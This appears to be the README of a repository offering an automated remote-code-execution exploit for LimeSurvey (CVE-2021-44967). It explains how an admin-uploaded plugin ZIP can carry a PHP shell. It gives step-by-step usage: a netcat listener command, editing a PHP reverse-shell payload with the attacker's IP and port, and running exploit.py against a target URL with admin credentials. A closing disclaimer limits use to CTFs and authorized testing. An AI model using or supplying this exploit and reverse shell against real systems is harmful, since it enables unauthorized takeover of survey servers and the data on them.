
🔥 Automated RCE Exploit for Limesurvey (CVE-2021-44967). Cadena de explotación optimizada para escalada de privilegios. 🚀
This repository contains a functional exploit for CVE-2021-44967, an authenticated Remote Code Execution vulnerability in LimeSurvey.
Tested and confirmed working on:
The vulnerability allows an authenticated user with administrative privileges to upload a malicious plugin. Since LimeSurvey doesn't strictly validate the contents of the plugin ZIP or prevent execution of PHP files in the plugin directory, an attacker can achieve RCE by accessing the uploaded shell directly.
config.xml updated for compatibility with LimeSurvey versions 3.0 through 6.0.Start a netcat listener on your machine:
nc -lvnp 443
Edit php-rev.php and set your local IP and port:
$ip = '<YOUR_IP>';
$port = 443;
python3 exploit.py <TARGET_URL> <USERNAME> <PASSWORD>
Example:
python3 exploit.py http://10.129.1.243/survey admin test
exploit.py: The main automation script.php-rev.php: PHP reverse shell payload.config.xml: Mandatory LimeSurvey plugin configuration file.This tool is for educational purposes and authorized security testing ONLY. Strictly intended for use in controlled, legal environments (e.g., CTFs, lab environments, or authorized engagements). The author is not responsible for any misuse or damage caused by this tool. Use it responsibly and only on systems you have explicit permission to test.